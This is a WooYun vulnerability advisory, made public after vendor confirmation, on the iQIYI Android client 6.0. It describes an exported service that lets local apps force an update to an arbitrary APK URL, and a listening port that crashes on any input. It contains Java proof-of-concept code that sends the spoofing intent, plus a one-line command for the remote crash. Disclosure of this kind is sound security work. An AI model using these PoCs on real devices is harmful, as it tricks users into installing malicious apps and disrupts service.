当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096831

漏洞标题:爱奇艺视频android客户端升级欺骗与远程拒绝服务

相关厂商:奇艺

漏洞作者: 小荷才露尖尖角

提交时间:2015-02-11 18:59

修复时间:2015-05-12 20:04

公开时间:2015-05-12 20:04

漏洞类型:权限提升

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-11: 细节已通知厂商并且等待厂商处理中
2015-02-11: 厂商已经确认,细节仅向厂商公开
2015-02-14: 细节向第三方安全合作伙伴开放
2015-04-07: 细节向核心白帽子及相关领域专家公开
2015-04-17: 细节向普通白帽子公开
2015-04-27: 细节向实习白帽子公开
2015-05-12: 细节向公众公开

简要描述:

漏洞1:本地恶意程序利用某暴露服务进行欺骗升级
漏洞2:远程拒绝服务

详细说明:

测试版本:爱奇艺视频android客户端,6.0
下载地址:http://store.iqiyi.com/
(1)本地恶意程序利用某暴露服务进行欺骗升级
org.qiyi.android.commonphonepad.pushmessage.PushMessageService暴露 ,本地恶意程序可以通过该服务启动客户端升级过程,并控制升级url,可欺骗用户安装任意apk。
见PushMessageService中的代码片段,服务启动后的OnStart方法会调用a方法,该方法会判断传入Intent的action,获得其extra,并最终调用new bs(((Context)this)).a(v5)方法,启动新版本apk的下载和更新。当action为com.qiyi.video.action.updateApp.retry或者com.qiyi.video.action.download.newApp时都会启动更新过程,且extra中的appUrl可控。
当intent action为com.qiyi.video.action.updateApp.retry时的处理过程

1.png


当intent action为com.qiyi.video.action.download.newApp时的处理过程

2.png


POC:

m_spoofAction = (Button)findViewById(R.id.spoof);
m_spoofUrl = (EditText)findViewById(R.id.apkurl);
m_spoofAction.setOnClickListener(new OnClickListener()
{
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
String strUrl =(m_spoofUrl.getText()).toString();
if (strUrl != null) {
Intent i = new Intent();
i.setAction("com.qiyi.video.action.updateApp.retry");
i.setComponent(new ComponentName("com.qiyi.video",
"org.qiyi.android.commonphonepad.pushmessage.PushMessageService"));
i.putExtra("downLoadingStr", "iqiyi");
i.putExtra("appUrl", strUrl);
i.putExtra("Update_Retry_type", 6);
startService(i);
}
}
});


(2)远程拒绝服务
爱奇艺客户端启动后会运行 MultiDeviceCoWorkService,该服务会打开15555端口监听,如下图。
OnStart方法,调用a.a方法

listen.png


a.a方法启动SocketSer服务,端口为传入的15555

listen2.png


测试时发现,远程向该端口提供任意字符,爱奇艺客户端将闪退。猜测该端口用于多个iqiyi设备的协作,由于手上没有多个iqiyi设备,也就没进行深入分析。
POC:

echo -n “xxx”  |  192.168.2.3 15555


上述192.168.2.3为爱奇艺客户端运行手机的IP地址。

漏洞证明:

(1)漏洞1的证明:
构建Web服务器,放置fake.qiyi.apk

屏幕快照 2015-02-11 下午4.48.34.png


欺骗爱奇艺视频客户端进行升级

attack.png


提示并下载新版本

dowload.png


下载完成,用户点击后安装

downloadcomplete.png


(2)漏洞2的证明
logcat记录的异常信息

02-11 17:05:31.772: A/ActivityManager(932): Service ServiceRecord{43134780 u0 com.qiyi.video/com.iqiyi.video.download.service.RemoteDownloadService} in process ProcessRecord{42cf5b60 13745:com.qiyi.video/u0a115} not same as in map: null


修复方案:

(1)对PushMessageService设为exported:false,或者禁止第三方应用传入appUrl。
(2)对15555端口的使用仔细检查。

版权声明:转载请注明来源 小荷才露尖尖角@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-02-11 20:03

厂商回复:

谢谢您的提交,我们会尽快处理。希望您继续关注爱奇艺PPS。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-06 16:12 | xFrank ( 路人 | Rank:10 漏洞数:1 | 专注Android系统安全)

    远程拒绝服务,是批量的么?